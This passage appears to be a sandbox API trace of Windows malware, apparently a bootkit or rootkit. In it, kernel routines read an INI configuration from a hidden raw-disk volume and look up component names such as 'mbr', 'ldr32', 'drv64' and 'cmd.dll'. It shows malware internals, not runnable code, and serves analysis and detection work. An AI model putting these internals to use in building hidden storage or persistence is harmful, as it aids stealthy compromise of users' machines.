Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.946] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.946] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.946] IdePortDispatch () returned 0x103 [0129.946] KeWaitForMutexObject () returned 0x0 [0129.946] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.946] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.946] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.946] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.946] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.946] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.946] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.946] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.946] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.946] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.946] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.946] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.946] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.946] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.946] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.946] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.946] KeLeaveCriticalRegion () [0129.946] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.946] ReleaseMutex (hMutex=0x100) returned 1 [0129.946] Sleep (dwMilliseconds=0x2bf20) [0129.953] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x70a69590, dwHighDateTime=0x1d24fa4)) [0129.953] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.953] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.953] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.953] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.953] KeEnterCriticalRegion () [0129.953] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.953] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.953] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.953] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.953] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.953] IdePortDispatch () returned 0x103 [0129.954] KeWaitForMutexObject () returned 0x0 [0129.954] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.954] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.954] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.954] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.954] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.954] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c07920 [0129.954] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.954] KeLeaveCriticalRegion () [0129.954] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.954] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.954] KeEnterCriticalRegion () [0129.954] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.954] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.954] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.954] KeLeaveCriticalRegion () [0129.954] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.954] KeEnterCriticalRegion () [0129.954] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.954] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.954] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.954] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.954] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.954] IdePortDispatch () returned 0x103 [0129.954] KeWaitForMutexObject () returned 0x0 [0129.954] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.954] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.954] KeLeaveCriticalRegion () [0129.955] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.955] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.955] KeEnterCriticalRegion () [0129.955] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.955] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cfc000 [0129.955] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.955] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.955] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.955] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.955] IdePortDispatch () returned 0x103 [0129.955] KeWaitForMutexObject () returned 0x0 [0129.955] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.955] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.955] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.955] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.955] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.955] IdePortDispatch () returned 0x103 [0129.955] KeWaitForMutexObject () returned 0x0 [0129.955] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.955] KeLeaveCriticalRegion () [0129.955] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.956] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.956] KeEnterCriticalRegion () [0129.956] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.956] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.956] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.956] KeLeaveCriticalRegion () [0129.956] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.956] KeEnterCriticalRegion () [0129.956] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.956] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0129.956] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07c80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.956] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.956] KeLeaveCriticalRegion () [0129.956] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.956] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.956] KeEnterCriticalRegion () [0129.956] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.956] ExFreePoolWithTag (P=0xfffffa8003c07920, Tag=0x0) [0129.956] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.956] KeLeaveCriticalRegion () [0129.956] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.956] ReleaseMutex (hMutex=0xf0) returned 1 [0129.956] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.956] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.956] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.956] KeEnterCriticalRegion () [0129.956] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.956] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.957] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.957] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.957] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.957] IdePortDispatch () returned 0x103 [0129.957] KeWaitForMutexObject () returned 0x0 [0129.957] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.957] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.957] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.957] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.957] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.957] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c08fb0 [0129.957] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.957] KeLeaveCriticalRegion () [0129.957] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.957] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.957] KeEnterCriticalRegion () [0129.957] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.957] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.957] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.957] KeLeaveCriticalRegion () [0129.957] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.957] KeEnterCriticalRegion () [0129.957] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.957] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.957] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.957] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.957] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.957] IdePortDispatch () returned 0x103 [0129.957] KeWaitForMutexObject () returned 0x0 [0129.958] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.958] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.958] KeLeaveCriticalRegion () [0129.958] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.958] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.958] KeEnterCriticalRegion () [0129.958] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.958] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cfd000 [0129.958] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.958] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.958] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.958] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.958] IdePortDispatch () returned 0x103 [0129.958] KeWaitForMutexObject () returned 0x0 [0129.958] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.958] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.958] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.958] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.958] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.958] IdePortDispatch () returned 0x103 [0129.958] KeWaitForMutexObject () returned 0x0 [0129.958] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.958] KeLeaveCriticalRegion () [0129.958] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.959] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.959] KeEnterCriticalRegion () [0129.959] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.959] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.959] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.959] KeLeaveCriticalRegion () [0129.959] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.959] KeEnterCriticalRegion () [0129.959] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.959] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0129.959] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c08dd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.959] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.959] KeLeaveCriticalRegion () [0129.959] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.959] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.959] KeEnterCriticalRegion () [0129.959] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.959] ExFreePoolWithTag (P=0xfffffa8003c08fb0, Tag=0x0) [0129.959] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.959] KeLeaveCriticalRegion () [0129.959] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.959] ReleaseMutex (hMutex=0xf0) returned 1 [0129.959] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.959] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.959] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.959] KeEnterCriticalRegion () [0129.959] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.959] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.960] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.960] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.960] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.960] IdePortDispatch () returned 0x103 [0129.960] KeWaitForMutexObject () returned 0x0 [0129.960] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.960] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.960] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.960] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.960] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.960] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c07820 [0129.960] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.960] KeLeaveCriticalRegion () [0129.960] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.960] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.960] KeEnterCriticalRegion () [0129.960] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.960] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.960] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.960] KeLeaveCriticalRegion () [0129.960] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.960] KeEnterCriticalRegion () [0129.960] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.960] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.960] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.960] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.960] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.960] IdePortDispatch () returned 0x103 [0129.960] KeWaitForMutexObject () returned 0x0 [0129.960] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.961] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.961] KeLeaveCriticalRegion () [0129.961] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.961] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.961] KeEnterCriticalRegion () [0129.961] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.961] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cfe000 [0129.961] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.961] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.961] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.961] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.961] IdePortDispatch () returned 0x103 [0129.961] KeWaitForMutexObject () returned 0x0 [0129.961] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.961] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.961] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.961] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.961] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.961] IdePortDispatch () returned 0x103 [0129.961] KeWaitForMutexObject () returned 0x0 [0129.961] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.961] KeLeaveCriticalRegion () [0129.961] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.962] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.962] KeEnterCriticalRegion () [0129.962] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.962] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.962] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.962] KeLeaveCriticalRegion () [0129.962] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.962] KeEnterCriticalRegion () [0129.962] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.962] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0129.962] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c01830, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.962] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.962] KeLeaveCriticalRegion () [0129.962] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.962] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.962] KeEnterCriticalRegion () [0129.962] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.962] ExFreePoolWithTag (P=0xfffffa8003c07820, Tag=0x0) [0129.962] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.962] KeLeaveCriticalRegion () [0129.962] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.962] ReleaseMutex (hMutex=0xf0) returned 1 [0129.962] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.962] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.962] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.962] _snprintf (in: 